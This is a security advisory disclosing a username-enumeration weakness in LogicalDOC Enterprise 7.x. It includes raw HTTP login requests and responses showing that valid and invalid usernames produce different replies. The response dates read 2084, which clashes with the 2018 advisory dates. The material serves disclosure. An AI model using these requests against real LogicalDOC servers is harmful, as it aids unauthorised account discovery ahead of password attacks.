LogicalDOC Enterprise 7.7.4 User Enumeration

2018.02.12
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

LogicalDOC Enterprise 7.7.4 Username Enumeration Weakness Vendor: LogicalDOC Srl Product web page: https://www.logicaldoc.com Affected version: 7.7.4 7.7.3 7.7.2 7.7.1 7.6.4 7.6.2 7.5.1 7.4.2 7.1.1 Summary: LogicalDOC is a free document management system that is designed to handle and share documents within an organization. LogicalDOC is a content repository, with Lucene indexing, Activiti workflow, and a set of automatic import procedures. Desc: The weakness is caused due to the 'j_spring_security_check' script and how it verifies provided credentials. Attacker can use this weakness to enumerate valid users on the affected node. Tested on: Microsoft Windows 10 Linux Ubuntu 16.04 Java 1.8.0_161 Apache-Coyote/1.1 Apache Tomcat/8.5.24 Apache Tomcat/8.5.13 Undisclosed 8.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5451 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5451.php 26.01.2018 -- Request/response for existent username: --------------------------------------- POST /j_spring_security_check HTTP/1.1 Host: 192.168.1.74:8080 j_username=admin&j_password=123123&j_successurl=%2Ffrontend.jsp&j_failureurl=%2Flogin.jsp -- HTTP/1.1 302 Set-Cookie: ldoc-failure=wrongpassword Location: //login.jsp?failure=wrongpassword Content-Length: 0 Date: Tue, 06 Feb 2084 19:42:15 GMT Connection: close Request/response for non-existent username: ------------------------------------------- POST /j_spring_security_check HTTP/1.1 Host: 192.168.1.74:8080 j_username=n00b&j_password=123123&j_successurl=%2Ffrontend.jsp&j_failureurl=%2Flogin.jsp -- HTTP/1.1 500 Set-Cookie: JSESSIONID=F06F1D03E249D90802AFE92428DBBEDD; Path=/; Secure; HttpOnly Content-Type: text/html;charset=UTF-8 Content-Length: 78 Date: Tue, 06 Feb 2084 19:57:14 GMT Connection: close <html> <body> <div><br/><br/><strong>ERROR</strong></div> </body> <html>

References:

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5451.php


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